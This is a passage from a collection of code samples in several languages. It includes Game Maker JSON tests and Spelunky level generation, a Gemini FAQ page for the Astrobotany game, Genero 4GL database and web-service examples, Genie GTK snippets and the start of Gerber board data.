map)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_lookup(): Multiple arguments with nested map --- exists\r\n    json = '[\"one\", 2, {\"three\":3}, true, 5]';\r\n    structure = jso_decode_list(json);\r\n    expected = 3;\r\n    actual = jso_list_lookup(structure, 2, \"three\");\r\n    assert_equal(expected, actual, \"jso_list_lookup() failed to find an existing entry! (multiple arguments, nested map)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_lookup_type(): Multiple arguments with nested map --- exists\r\n    json = '[\"one\", 2, {\"three\":false}, true, 5]';\r\n    structure = jso_decode_list(json);\r\n    expected = jso_type_boolean;\r\n    actual = jso_list_lookup_type(structure, 2, \"three\");\r\n    assert_equal(expected, actual, \"jso_list_lookup_type() found the wrong type! (multiple arguments, nested map)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_exists(): Multiple arguments with nested map --- doesn't exist, key on single entry\r\n    json = '[\"one\", 2, {\"three\":3}, true, 5]';\r\n    structure = jso_decode_list(json);\r\n    assert_false(jso_list_check(structure, 1, \"\"), \"jso_list_check() found an inexistent entry! (multiple arguments, nested map, key on single entry)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_exists(): Multiple arguments with nested map --- doesn't exist, bad key\r\n    json = '[\"one\", 2, {\"three\":3}, true, 5]';\r\n    structure = jso_decode_list(json);\r\n    assert_false(jso_list_check(structure, 2, \"\"), \"jso_list_check() found an inexistent entry! (multiple arguments, nested map, bad key)\");\r\n    jso_cleanup_list(structure);\r\n}\r\n\r\n#define _test_jso_bugs\r\n{\r\n    /**\r\n    _test_jso_bugs(): Test reported bugs.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    var expected, actual;\r\n    \r\n    //jso_encode_map() --- One-element map\r\n    //Bug 1: Crash when encoding boolean-valued entries in maps, unknown variable jso_type_integer\r\n    var one_map;\r\n    one_map = jso_new_map();\r\n    jso_map_add_boolean(one_map, \"true\", true);\r\n    expected = '{\"true\":true}';\r\n    actual = jso_encode_map(one_map);\r\n    assert_equal(expected, actual, \"jso_encode_map() failed to encode one-element map with boolean entry!\");\r\n    jso_cleanup_map(one_map);\r\n}\r\n\r\n"
  },
  {
    "path": "samples/Game Maker Language/scrInitLevel.gml",
    "content": "// Originally from /spelunky/Scripts/Level Generation/scrInitLevel.gml in the Spelunky Community Update Project\n\n//\n// scrInitLevel()\n//\n// Calls scrLevelGen(), scrRoomGen*(), and scrEntityGen() to build level.\n//\n\n/**********************************************************************************\n    Copyright (c) 2008, 2009 Derek Yu and Mossmouth, LLC\n    \n    This file is part of Spelunky.\n\n    You can redistribute and/or modify Spelunky, including its source code, under\n    the terms of the Spelunky User License.\n\n    Spelunky is distributed in the hope that it will be entertaining and useful,\n    but WITHOUT WARRANTY.  Please see the Spelunky User License for more details.\n\n    The Spelunky User License should be available in \"Game Information\", which\n    can be found in the Resource Explorer, or as an external file called COPYING.\n    If not, please obtain a new copy of Spelunky from <http://spelunkyworld.com/>\n    \n***********************************************************************************/\n\nglobal.levelType = 0;\n//global.currLevel = 16;\nif (global.currLevel > 4 and global.currLevel < 9) global.levelType = 1;\nif (global.currLevel > 8 and global.currLevel < 13) global.levelType = 2;\nif (global.currLevel > 12 and global.currLevel < 16) global.levelType = 3;\nif (global.currLevel == 16) global.levelType = 4;\n\nif (global.currLevel <= 1 or\n    global.currLevel == 5 or\n    global.currLevel == 9 or\n    global.currLevel == 13)\n{\n    global.hadDarkLevel = false;\n}\n\n// global.levelType = 3; // debug\n\n// DEBUG MODE //\n/*\nif (global.currLevel == 2) global.levelType = 4;\nif (global.currLevel == 3) global.levelType = 2;\nif (global.currLevel == 4) global.levelType = 3;\nif (global.currLevel == 5) global.levelType = 4;\n*/\n\n// global.levelType = 0;\n\nglobal.startRoomX = 0;\nglobal.startRoomY = 0;\nglobal.endRoomX = 0;\nglobal.endRoomY = 0;\noGame.levelGen = false;\n\n// this is used to determine the path to the exit (generally no bombs required)\nfor (i = 0; i < 4; i += 1)\n{\n    for (j = 0; j < 4; j += 1)\n    {\n        global.roomPath[i,j] = 0;\n    }\n}\n\n// side walls\nif (global.levelType == 4)\n    k = 54;\nelse if (global.levelType == 2)\n    k = 38;\nelse if (global.lake)\n    k = 41;\nelse\n    k = 33;\nfor (i = 0; i <= 42; i += 1)\n{\n    for (j = 0; j <= k; j += 1)\n    {\n        if (not isLevel())\n        {\n            i = 999;\n            j = 999;\n        }\n        else if (global.levelType == 2)\n        {\n            if (i*16 == 0 or\n                i*16 == 656 or\n                j*16 == 0)\n            {\n                obj = instance_create(i*16, j*16, oDark);\n                obj.invincible = true;\n                obj.sprite_index = sDark;\n            }\n        }\n        else if (global.levelType == 4)\n        {\n            if (i*16 == 0 or\n                i*16 == 656 or\n                j*16 == 0)\n            {\n                obj = instance_create(i*16, j*16, oTemple);\n                obj.invincible = true;\n                if (not global.cityOfGold) obj.sprite_index = sTemple;\n            }\n        }\n        else if (global.lake)\n        {\n            if (i*16 == 0 or\n                i*16 == 656 or\n                j*16 == 0 or\n                j*16 >= 656)\n            {\n                obj = instance_create(i*16, j*16, oLush); obj.sprite_index = sLush;\n                obj.invincible = true;\n            }\n        }\n        else if (i*16 == 0 or\n            i*16 == 656 or\n            j*16 == 0 or\n            j*16 >= 528)\n        {\n            if (global.levelType == 0) { obj = instance_create(i*16, j*16, oBrick); obj.sprite_index = sBrick; }\n            else if (global.levelType == 1) { obj = instance_create(i*16, j*16, oLush); obj.sprite_index = sLush; }\n            else { obj = instance_create(i*16, j*16, oTemple); if (not global.cityOfGold) obj.sprite_index = sTemple; }\n            obj.invincible = true;\n        }\n    }\n}\n\nif (global.levelType == 2)\n{\n    for (i = 0; i <= 42; i += 1)\n    {\n        instance_create(i*16, 40*16, oDark);\n        //instance_create(i*16, 35*16, oSpikes);\n    }\n}\n\nif (global.levelType == 3)\n{\n    background_index = bgTemple;\n}\n\nglobal.temp1 = global.gameStart;\nscrLevelGen();\n\nglobal.cemetary = false;\nif (global.levelType == 1 and rand(1,global.probCemetary) == 1) global.cemetary = true;\n\nwith oRoom\n{\n    if (global.levelType == 0) scrRoomGen();\n    else if (global.levelType == 1)\n    {\n        if (global.blackMarket) scrRoomGenMarket();\n        else scrRoomGen2();\n    }\n    else if (global.levelType == 2)\n    {\n        if (global.yetiLair) scrRoomGenYeti();\n        else scrRoomGen3();\n    }\n    else if (global.levelType == 3) scrRoomGen4();\n    else scrRoomGen5();\n}\n\nglobal.darkLevel = false;\n//if (not global.hadDarkLevel and global.currLevel != 0 and global.levelType != 2 and global.currLevel != 16 and rand(1,1) == 1)\nif (not global.hadDarkLevel and not global.noDarkLevel and global.currLevel != 0 and global.currLevel != 1 and global.levelType != 2 and global.currLevel != 16 and rand(1,global.probDarkLevel) == 1)\n{\n    global.darkLevel = true;\n    global.hadDarkLevel = true;\n    //instance_create(oPlayer1.x, oPlayer1.y, oFlare);\n}\n\nif (global.blackMarket) global.darkLevel = false;\n\nglobal.genUdjatEye = false;\nif (not global.madeUdjatEye)\n{\n    if (global.currLevel == 2 and rand(1,3) == 1) global.genUdjatEye = true;\n    else if (global.currLevel == 3 and rand(1,2) == 1) global.genUdjatEye = true;\n    else if (global.currLevel == 4) global.genUdjatEye = true;\n}\n\nglobal.genMarketEntrance = false;\nif (not global.madeMarketEntrance)\n{\n    if (global.currLevel == 5 and rand(1,3) == 1) global.genMarketEntrance = true;\n    else if (global.currLevel == 6 and rand(1,2) == 1) global.genMarketEntrance = true;\n    else if (global.currLevel == 7) global.genMarketEntrance = true;\n}\n\n////////////////////////////\n// ENTITY / TREASURES\n////////////////////////////\nglobal.temp2 = global.gameStart;\nif (not isRoom(\"rTutorial\") and not isRoom(\"rLoadLevel\")) scrEntityGen();\n\nif (instance_exists(oEntrance) and not global.customLevel)\n{\n    oPlayer1.x = oEntrance.x+8;\n    oPlayer1.y = oEntrance.y+8;\n}\n\nif (global.darkLevel or\n    global.blackMarket or\n    global.snakePit or\n    global.cemetary or\n    global.lake or\n    global.yetiLair or\n    global.alienCraft or\n    global.sacrificePit or\n    global.cityOfGold)\n{\n    if (not isRoom(\"rLoadLevel\"))\n    {\n        with oPlayer1 { alarm[0] = 10; }\n    }\n}\n\nif (global.levelType == 4) scrSetupWalls(864);\nelse if (global.lake) scrSetupWalls(656);\nelse scrSetupWalls(528);\n\n// add background details\nif (global.graphicsHigh)\n{\n    repeat(20)\n    {\n        // bg = instance_create(16*rand(1,42), 16*rand(1,33), oCaveBG);\n        if (global.levelType == 1 and rand(1,3) < 3)\n            tile_add(bgExtrasLush, 32*rand(0,1), 0, 32, 32, 16*rand(1,42), 16*rand(1,33), 10002);\n        else if (global.levelType == 2 and rand(1,3) < 3)\n            tile_add(bgExtrasIce, 32*rand(0,1), 0, 32, 32, 16*rand(1,42), 16*rand(1,33), 10002);\n        else if (global.levelType == 3 and rand(1,3) < 3)\n            tile_add(bgExtrasTemple, 32*rand(0,1), 0, 32, 32, 16*rand(1,42), 16*rand(1,33), 10002);\n        else\n            tile_add(bgExtras, 32*rand(0,1), 0, 32, 32, 16*rand(1,42), 16*rand(1,33), 10002);\n    }\n}\n\noGame.levelGen = true;\n\n// generate angry shopkeeper at exit if murderer or thief\nif ((global.murderer or global.thiefLevel > 0) and isRealLevel())\n{\n    with oExit\n    {\n        if (type == \"Exit\")\n        {\n            obj = instance_create(x, y, oShopkeeper);\n            obj.status = 4;\n        }\n    }\n    // global.thiefLevel -= 1;\n}\n\nwith oTreasure\n{\n    if (collision_point(x, y, oSolid, 0, 0))\n    {\n        obj = instance_place(x, y, oSolid);\n        if (obj.invincible) instance_destroy();\n    }\n}\n\nwith oWater\n{\n    if (sprite_index == sWaterTop or sprite_index == sLavaTop)\n    {\n        scrCheckWaterTop();\n    }\n    /*\n        obj = instance_place(x-16, y, oWater);\n        if (instance_exists(obj))\n        {\n            if (obj.sprite_index == sWaterTop or obj.sprite_index == sLavaTop)\n            {\n                if (type == \"Lava\") sprite_index = sLavaTop;\n                else sprite_index = sWaterTop;\n            }\n        }\n        obj = instance_place(x+16, y, oWater);\n        if (instance_exists(obj))\n        {\n            if (obj.sprite_index == sWaterTop or obj.sprite_index == sLavaTop)\n            {\n                if (type == \"Lava\") sprite_index = sLavaTop;\n                else sprite_index = sWaterTop;\n            }\n        }\n    */\n}\n\nglobal.temp3 = global.gameStart;\n"
  },
  {
    "path": "samples/Gemini/instructions.gmi",
    "content": "# Astrobotany - FAQ\n\n```\n             .--'}        _   ,\n          ,<{.-'{:} -====;o`\\/ }\n      __ ((  '--.}        \\-`\\-'----.\n      \\_\\ \\\\   __          \\ |-..-'`\n      ___\\_))_/_/          /\\/\\\n     /_/  ((               `--`\n       jgs \\\\\n```\n\n=> / 🚶 Go back\n\n## Creating an Account\n\nAstrobotany uses self-signed (TOFU) client certificates for authentication. In order to join in the fun, use your preferred gemini client to generate a new certificate. The subject fields in the certificate (name, location, email, CN, ...) don't matter. You can either leave them blank, or you can enter in values for your own records.\n\nOnce you have generated your certificate, attempt to login and you will be guided through the process of creating an account.\n\n## Gardening Basics\n\nYou've been given a seed that will grow into a beautiful plant!\n\n* Check back every 24 hours to water your plant.\n* Your score will increase as long as the soil remains damp.\n* Your plant will die after 5 days without water.\n\n## Plant Stages\n\nYour plant will continue to grow and evolve over time.\n\n* seed (0 days)\n* seedling (3 day)\n* young (3 days)\n* mature (10 days)\n* flowering (20 days)\n* seed-bearing (30 days)\n\n## Generations\n\nOnce your plant reaches the seed-bearing stage, you will be given the option to either keep going or harvest your plant. If you chose to harvest, your score will reset and you will start over with a generation score multiplier.\n\n```\ngeneration | multiplier\n---------- | ----------\n1          | 1.00\n2          | 1.20\n3          | 1.40\n4          | 1.60\n5          | 1.80\n6          | 2.00\n7          | 2.20\n8          | 2.40\n9          | 2.60\n10         | 2.80\n```\n\n## Registration (Legacy)\n\nThe original guide for astrobotany user registration involved using certificate signing requests (CSRs). It's documented here for historical reference.\n\n=> /static/register_old.gmi Legacy Registration Guide\n\n## Credits\n\nAstrobotany is a fork of the tilde.town pubnix game, botany.\n\nBotany, by Jake Funke\n=> https://github.com/jifunks/botany\n\nAstrobotany, by Michael Lazar\n=> https://github.com/michael-lazar/astrobotany\n\nMost of the ASCII art on this capsule (besides the plants) was created by Joan G. Stark. ANSI colorization added by Michael Lazar.\n\n=> https://web.archive.org/web/20091028031718/http://www.geocities.com/SoHo/7373/indexother.htm jgs geocities site (internet archive)\n"
  },
  {
    "path": "samples/Genero 4gl/books1.4gl",
    "content": "-- To test the sample:\n--\n-- $ sed -n 's/\\#\\# \\(.*\\)/\\1/p' books1.4gl > library.sch\n-- $ fglform -M ../\"Genero Forms\"/books1.per\n-- $ mv ../\"Genero Forms\"/books1.42f .\n-- $ fglcomp -M books1.4gl\n-- $ fglrun books1.42m\n--\n\nSCHEMA library\n\nPUBLIC TYPE t_book RECORD LIKE book.*\nPUBLIC TYPE t_book_array DYNAMIC ARRAY OF t_book\n\nPRIVATE CONSTANT ID_UNKNOWN = 100\n\nMAIN\n\n    DEFINE books t_book_array\n    DEFINE brec t_book\n    DEFINE f_plot LIKE book.b_plot\n\n    CONNECT TO \":memory:+driver='dbmsqt'\"\n\n    CALL create_tables()\n\n    OPEN FORM f1 FROM \"books1\"\n    DISPLAY FORM f1\n\n    CALL fill_book_array(books)\n\n    DIALOG ATTRIBUTES(UNBUFFERED)\n\n    DISPLAY ARRAY books TO sr1.*\n\n        BEFORE ROW\n            LET f_plot = books[ arr_curr() ].b_plot\n\n        ON ACTION nbrows ATTRIBUTES(TEXT=\"Row count\")\n            MESSAGE SFMT(\"Number of books: %1\",books.getLength())\n\n        ON INSERT\n            LET f_plot = NULL\n            INITIALIZE brec.* TO NULL\n            LET brec.b_author = ID_UNKNOWN\n            LET brec.b_pub_date = TODAY\n            LET brec.b_price = 0\n            CLEAR formonly.f_plot\n            INPUT brec.* FROM sr1[ scr_line() ].*\n                  ATTRIBUTES(WITHOUT DEFAULTS);\n            IF NOT int_flag THEN\n                TRY\n                    INSERT INTO book VALUES brec.*\n                    LET brec.book_id = sqlca.sqlerrd[2]\n                    LET books[ DIALOG.getCurrentRow(\"sr1\") ] = brec\n                    MESSAGE SFMT(\"New book record created (id=%1)\",brec.book_id)\n                CATCH\n                    ERROR \"Could not insert new book row into database:\", SQLERRMESSAGE\n                END TRY\n            END IF\n\n        ON DELETE\n            IF mbox_yn(\"Delete the current row?\") THEN\n                TRY\n                    DELETE FROM book WHERE book_id = books[arr_curr()].book_id\n                    MESSAGE \"Book record was deleted\"\n                CATCH\n                    ERROR \"Could not delete the book row from database:\", SQLERRMESSAGE\n                END TRY\n            END IF\n\n    END DISPLAY\n\n    INPUT BY NAME f_plot\n\n        ON ACTION clear_plot ATTRIBUTES(TEXT=\"Clear\")\n            IF NOT mbox_yn(\"Are you sure you want to clear the plot summary?\") THEN\n                CONTINUE DIALOG\n            END IF\n            LET f_plot = NULL\n            LET books[ arr_curr() ].b_plot = NULL\n            UPDATE book SET b_plot = NULL\n             WHERE book_id = books[ arr_curr() ].book_id\n\n        ON ACTION update_plot ATTRIBUTES(TEXT=\"Save\")\n            LET books[ arr_curr() ].b_plot = f_plot\n            UPDATE book SET b_plot = f_plot\n             WHERE book_id = books[ arr_curr() ].book_id\n            MESSAGE SFMT(\"Plot summary saved (%1)\",CURRENT HOUR TO SECOND)\n\n    END INPUT\n\n    ON ACTION close\n        ACCEPT DIALOG\n\n    END DIALOG\n\nEND MAIN\n\nPRIVATE FUNCTION mbox_yn(question STRING) RETURNS BOOLEAN\n     DEFINE r BOOLEAN\n     MENU \"Books\" ATTRIBUTES(STYLE=\"dialog\", COMMENT=question)\n         COMMAND \"Yes\" LET r = TRUE\n         COMMAND \"No\"  LET r = FALSE\n     END MENU\n     RETURN r\nEND FUNCTION\n\nFUNCTION fill_book_array(ba t_book_array)\n    RETURNS ()\n\n    DEFINE x INTEGER\n\n    DECLARE c1 CURSOR FOR\n      SELECT * FROM book ORDER BY b_title\n\n    LET x = 1\n    FOREACH c1 INTO ba[x].*\n        LET x = x + 1\n    END FOREACH\n    CALL ba.deleteElement(x)\n\nEND FUNCTION\n\nFUNCTION init_authors(e ui.ComboBox)\n    RETURNS ()\n\n    DEFINE id LIKE author.auth_id\n    DEFINE name LIKE author.a_name\n\n    DECLARE c2 CURSOR FOR\n     SELECT auth_id, a_name FROM author ORDER BY a_name\n\n    FOREACH c2 INTO id, name\n        CALL e.addItem( id, name )\n    END FOREACH\n\nEND FUNCTION\n\nFUNCTION create_tables()\n   RETURNS ()\n\n   CREATE TABLE author (\n       auth_id SERIAL NOT NULL PRIMARY KEY,\n       a_name VARCHAR(50)\n   );\n\n   CREATE TABLE book (\n       book_id SERIAL NOT NULL PRIMARY KEY,\n       b_title VARCHAR(100) NOT NULL,\n       b_author INTEGER NOT NULL REFERENCES author(auth_id),\n       b_isbn VARCHAR(20) NOT NULL UNIQUE,\n       b_pub_date DATE,\n       b_price DECIMAL(10,2),\n       b_plot VARCHAR(500)\n   );\n\n   INSERT INTO author VALUES ( 100, '?UNDEFINED?' );\n\n   INSERT INTO author VALUES ( 101, 'Stephen KING' );\n   INSERT INTO book VALUES ( 10101, 'The Talisman',  101, '978-0-670-69199-9',  '1984-11-08', 15.60, NULL );\n   INSERT INTO book VALUES ( 10102, 'Doctor Sleep',  101, '978-1-4767-2765-3',  '2013-09-24', 12.00, NULL );\n   INSERT INTO book VALUES ( 10103, 'The Long Walk', 101, '978-0-451-08754-6',  '1979-07-11', 14.30, NULL );\n\n   INSERT INTO author VALUES ( 103, 'Dan Brown' );\n   INSERT INTO book VALUES ( 10301, 'Digital Fortress',  103, '0-312-18087-X',  '1998-01-01', 10.20, NULL );\n   INSERT INTO book VALUES ( 10302, 'Angels & Demons',   103, '0-671-02735-2 ', '2000-04-01', 14.55, NULL );\n\n   -- For PostgreSQL\n   -- SELECT setval( pg_get_serial_sequence('author','auth_id'), 200 );\n   -- SELECT setval( pg_get_serial_sequence('book','book_id'), 20000 );\n\nEND FUNCTION\n\n## author^auth_id^262^4^1^\n## author^a_name^201^50^2^\n## book^book_id^262^4^1^\n## book^b_title^457^100^2^\n## book^b_author^258^4^3^\n## book^b_isbn^457^20^4^\n## book^b_pub_date^7^4^5^\n## book^b_price^5^2562^6^\n## book^b_plot^201^500^7^\n"
  },
  {
    "path": "samples/Genero 4gl/webserv1.4gl",
    "content": "-- Testing the web service:\n--\n-- Define FGLAPPSERVER to a free TCP port:\n--   $ export FGLAPPSERVER=8089\n--\n-- Compile and start the server program:\n--   $ fglcomp WebService.4gl\n--   $ fglrun WebService.42m\n--\n-- Open a browser, and fetch the OpenAPI doc with:\n--\n--     http://localhost:8089/api?openapi.json\n--\n\nOPTIONS SHORT CIRCUIT\n\nIMPORT com\nIMPORT FGL webserv1_api\n\nMAIN\n\n    DEFER INTERRUPT\n    CALL startServer()\n\nEND MAIN\n\nPRIVATE FUNCTION startServer() RETURNS()\n    DEFINE returnCode INTEGER\n\n    CALL com.WebServiceEngine.RegisterRestService(\"webserv_api\", \"api\")\n\n    DISPLAY \"Server started\"\n\n    CALL com.WebServiceEngine.Start()\n\n    LET int_flag = FALSE\n    WHILE TRUE\n        LET returnCode = com.WebServiceEngine.ProcessServices(-1)\n        CASE returnCode\n            WHEN 0\n                DISPLAY \"Request processed.\"\n            WHEN -1\n                DISPLAY \"Timeout reached.\"\n            WHEN -2\n                DISPLAY \"Disconnected from application server.\"\n                # the application server has closed the connection\n                EXIT PROGRAM\n            WHEN -3\n                DISPLAY \"Client connection lost.\"\n            WHEN -4\n                DISPLAY \"Server interrupted with ctrl-c.\"\n            WHEN -9\n                DISPLAY \"Unsupported operation.\"\n            WHEN -10\n                DISPLAY \"Internal server error.\"\n            WHEN -23\n                DISPLAY \"Deserialization error.\"\n            WHEN -35\n                DISPLAY \"No such REST operation found.\"\n            WHEN -36\n                DISPLAY \"Missing REST parameter.\"\n            OTHERWISE\n                DISPLAY SFMT(\"Unexpected server error: %1\",returnCode)\n                EXIT WHILE\n        END CASE\n\n        IF int_flag THEN\n            EXIT WHILE\n        END IF\n\n    END WHILE\n\n    DISPLAY \"Server stopped\"\n\nEND FUNCTION\n"
  },
  {
    "path": "samples/Genero 4gl/webserv1_api.4gl",
    "content": "OPTIONS SHORT CIRCUIT\n\nIMPORT com\n\nPUBLIC TYPE UserAccount RECORD\n    id INTEGER,\n    name STRING,\n    dob DATE,\n    isActive BOOLEAN\nEND RECORD\n\nPUBLIC DEFINE userError RECORD ATTRIBUTE(WSError = \"User error\")\n    message STRING\nEND RECORD\n\nPUBLIC FUNCTION getNumberUsers()\n    ATTRIBUTES(WSGet,\n        WSPath = \"/users/count\",\n        WSDescription = \"Returns a count of users.\")\n    RETURNS INTEGER\n\n    DEFINE returnCount INTEGER\n    SELECT COUNT(*) INTO returnCount FROM UserAccounts\n    RETURN returnCount\n\nEND FUNCTION\n\nPUBLIC FUNCTION createUser(newUser UserAccount)\n    ATTRIBUTES(WSPost,\n        WSPath = \"/users\",\n        WSDescription = \"Create a user profile\",\n        WSThrows = \"400:@userError\")\n    RETURNS STRING\n\n    DEFINE returnMessage STRING\n    TRY\n        INSERT INTO UserAccounts VALUES (newUser.*)\n        LET returnMessage = SFMT(\"Created user: %1\", newUser.name)\n    CATCH\n        LET userError.message = SFMT(\"SQL error:%1 [%2]\", sqlca.sqlcode, SQLERRMESSAGE)\n        CALL com.WebServiceEngine.SetRestError(400, userError)\n    END TRY\n    RETURN returnMessage\n\nEND FUNCTION\n"
  },
  {
    "path": "samples/Genero per/books1.per",
    "content": "SCHEMA library\n\nLAYOUT\nHBOX ( ORIENTATION@SMALL = VERTICAL )\nTABLE\n{\n[c1                |c2               |c3                |c4          |c5    ]\n}\nEND\nGRID\n{\nPlot\n[f1                 ]\n[                   ]\n[                   ]\n}\nEND\nEND\nEND\n\nTABLES\nbook\nEND\n\nATTRIBUTES\n PHANTOM book.book_id;\n    EDIT c1 = book.b_title,    TITLE=\"Name\", SCROLL;\nCOMBOBOX c2 = book.b_author,   TITLE=\"Author\", INITIALIZER=init_authors;\n    EDIT c3 = book.b_isbn,     TITLE=\"ISBN\", SCROLL;\nDATEEDIT c4 = book.b_pub_date, TITLE=\"Publication\";\n    EDIT c5 = book.b_price,    TITLE=\"Price\";\nTEXTEDIT f1 = FORMONLY.f_plot, STRETCH=BOTH;\n PHANTOM book.b_plot;\nEND\n\nINSTRUCTIONS\nSCREEN RECORD sr1(book.*);\nEND\n"
  },
  {
    "path": "samples/Genie/Class.gs",
    "content": "init\n\tnew Demo( \"Demonstration class\" ).run()\n\nclass Demo\n\t_message:string = \"\"\n\n\tconstruct ( message:string = \"Optional argument - no message passed in constructor\" )\n\t\t_message = message\n\n\tdef run()\n\t\tprint( _message )\n\t\t\n"
  },
  {
    "path": "samples/Genie/Hello.gs",
    "content": "init\n\tprint( \"Hello, World!\" )\n"
  },
  {
    "path": "samples/Genie/IDataLoader.gs",
    "content": "/**\n * IDataLoader.gs\n *\n * \n *\n */\n[indent=4]\nuses Gee\nuses sdx\nuses sdx.math\nuses sdx.graphics.s2d\nuses o2d.data\n\nnamespace o2d.resources\n\n    interface IDataLoader : Object\n        def abstract loadSceneVO(sceneName: string): SceneVO\n        def abstract loadProjectVO(): ProjectInfoVO\n"
  },
  {
    "path": "samples/Genie/web.gs",
    "content": "[indent=4]\n// valac --pkg gtk+-3.0 --pkg webkitgtk-3.0 web.gs\n\nuses\n    Gtk\n    WebKit\n\nclass ValaBrowser : Window \n\n    webview: WebView\n    button: ToolButton\n    spinner: Spinner\n\n    init \n        window_position = WindowPosition.CENTER\n        set_default_size(1024, 768)\n        create_widgets()\n        connect_signals ()\n        webview.grab_focus ()\n        var settings = new WebSettings()\n        settings.set(\"enable-default-context-menu\",false)\n        webview.set_settings(settings) \n\n    def create_widgets () : void\n        var toolbar = new Toolbar ()\n        toolbar.set_style(ToolbarStyle.BOTH)\n        toolbar.get_style_context().add_class(STYLE_CLASS_PRIMARY_TOOLBAR)\n        this.button = new ToolButton(null,\"Refresh\")\n        toolbar.add (this.button)\n        this.webview = new WebView ()\n        this.spinner =  new Spinner()\n        this.spinner.set_margin_left(5)\n        this.spinner.set_margin_right(5)\n        this.spinner.set_margin_bottom(5)\n        this.spinner.set_margin_top(5)\n        this.spinner.start()\n        var fixed = new Fixed()\n        fixed.add(this.spinner)\n        fixed.set_halign(Align.START)\n        fixed.set_valign(Align.END)\n        var overlay = new Overlay()\n        overlay.add(this.webview)\n        overlay.add_overlay(fixed)\n        var vbox = new Box (Orientation.VERTICAL, 0)\n        vbox.pack_start (toolbar, false, true, 0)\n        vbox.pack_start(overlay,true,true,0)\n        add (vbox)\n    \n\n    def connect_signals () : void\n        this.destroy.connect (Gtk.main_quit)\n        this.button.clicked.connect (this.start)\n        this.webview.document_load_finished.connect(this.loaded)\n        this.webview.load_started.connect(this.started)\n    \n\n    def start () : void\n        show_all ()\n        //URL to show\n        this.webview.open (\"https://google.com\")\n    \n    \n    def loaded () : void\n        this.spinner.hide()\n        //Use the next command to run some javascript on page load\n        //this.webview.execute_script(\"$('body').show()\")\n\n    def started () : void\n        show_all()\n\n    def main (arg: array of string[]) : int\n        Gtk.init (ref arg)\n        var browser = new ValaBrowser ()\n        browser.start ()\n        Gtk.main ()\n        return 0\n"
  },
  {
    "path": "samples/Gerber Image/AGV_GPIO.gml",
    "content": "G75*\n%MOIN*%\n%OFA0B0*%\n%FSLAX25Y25*%\n%IPPOS*%\n%LPD*%\n%AMOC8*\n5,1,8,0,0,1.08239X$1,22.5*\n%\n%ADD10C,0.00000*%\nD10*\nX0013311Y0038461D02*\nX0013311Y0254996D01*\nX0229846Y0254996D01*\nX0229846Y0038461D01*\nX0013311Y0038461D01*\nX0018823Y0050272D02*\nX0018825Y0050430D01*\nX0018831Y0050588D01*\nX0018841Y0050746D01*\nX0018855Y0050904D01*\nX0018873Y0051061D01*\nX0018894Y0051218D01*\nX0018920Y0051374D01*\nX0018950Y0051530D01*\nX0018983Y0051685D01*\nX0019021Y0051838D01*\nX0019062Y0051991D01*\nX0019107Y0052143D01*\nX0019156Y0052294D01*\nX0019209Y0052443D01*\nX0019265Y0052591D01*\nX0019325Y0052737D01*\nX0019389Y0052882D01*\nX0019457Y0053025D01*\nX0019528Y0053167D01*\nX0019602Y0053307D01*\nX0019680Y0053444D01*\nX0019762Y0053580D01*\nX0019846Y0053714D01*\nX0019935Y0053845D01*\nX0020026Y0053974D01*\nX0020121Y0054101D01*\nX0020218Y0054226D01*\nX0020319Y0054348D01*\nX0020423Y0054467D01*\nX0020530Y0054584D01*\nX0020640Y0054698D01*\nX0020753Y0054809D01*\nX0020868Y0054918D01*\nX0020986Y0055023D01*\nX0021107Y0055125D01*\nX0021230Y0055225D01*\nX0021356Y0055321D01*\nX0021484Y0055414D01*\nX0021614Y0055504D01*\nX0021747Y0055590D01*\nX0021882Y0055674D01*\nX0022018Y0055753D01*\nX0022157Y0055830D01*\nX0022298Y0055902D01*\nX0022440Y0055972D01*\nX0022584Y0056037D01*\nX0022730Y0056099D01*\nX0022877Y0056157D01*\nX0023026Y0056212D01*\nX0023176Y0056263D01*\nX0023327Y0056310D01*\nX0023479Y0056353D01*\nX0023632Y0056392D01*\nX0023787Y0056428D01*\nX0023942Y0056459D01*\nX0024098Y0056487D01*\nX0024254Y0056511D01*\nX0024411Y0056531D01*\nX0024569Y0056547D01*\nX0024726Y0056559D01*\nX0024885Y0056567D01*\nX0025043Y0056571D01*\nX0025201Y0056571D01*\nX0025359Y0056567D01*\nX0025518Y0056559D01*\nX0025675Y0056547D01*\nX0025833Y0056531D01*\nX0025990Y0056511D01*\nX0026146Y0056487D01*\nX0026302Y0056459D01*\nX0026457Y0056428D01*\nX0026612Y0056392D01*\nX0026765Y0056353D01*\nX0026917Y0056310D01*\nX0027068Y0056263D01*\nX0027218Y0056212D01*\nX0027367Y0056157D01*\nX0027514Y0056099D01*\nX0027660Y0056037D01*\nX0027804Y0055972D01*\nX0027946Y0055902D01*\nX0028087Y0055830D01*\nX0028226Y0055753D01*\nX0028362Y0055674D01*\nX0028497Y0055590D01*\nX0028630Y0055504D01*\nX0028760Y0055414D01*\nX0028888Y0055321D01*\nX0029014Y0055225D01*\nX0029137Y0055125D01*\nX0029258Y0055023D01*\nX0029376Y0054918D01*\nX0029491Y0054809D01*\nX0029604Y0054698D01*\nX0029714Y0054584D01*\nX0029821Y0054467D01*\nX0029925Y0054348D01*\nX0030026Y0054226D01*\nX0030123Y0054101D01*\nX0030218Y0053974D01*\nX0030309Y0053845D01*\nX0030398Y0053714D01*\nX0030482Y0053580D01*\nX0030564Y0053444D01*\nX0030642Y0053307D01*\nX0030716Y0053167D01*\nX0030787Y0053025D01*\nX0030855Y0052882D01*\nX0030919Y0052737D01*\nX0030979Y0052591D01*\nX0031035Y0052443D01*\nX0031088Y0052294D01*\nX0031137Y0052143D01*\nX0031182Y0051991D01*\nX0031223Y0051838D01*\nX0031261Y0051685D01*\nX0031294Y0051530D01*\nX0031324Y0051374D01*\nX0031350Y0051218D01*\nX0031371Y0051061D01*\nX0031389Y0050904D01*\nX0031403Y0050746D01*\nX0031413Y0050588D01*\nX0031419Y0050430D01*\nX0031421Y0050272D01*\nX0031419Y0050114D01*\nX0031413Y0049956D01*\nX0031403Y0049798D01*\nX0031389Y0049640D01*\nX0031371Y0049483D01*\nX0031350Y0049326D01*\nX0031324Y0049170D01*\nX0031294Y0049014D01*\nX0031261Y0048859D01*\nX0031223Y0048706D01*\nX0031182Y0048553D01*\nX0031137Y0048401D01*\nX0031088Y0048250D01*\nX0031035Y0048101D01*\nX0030979Y0047953D01*\nX0030919Y0047807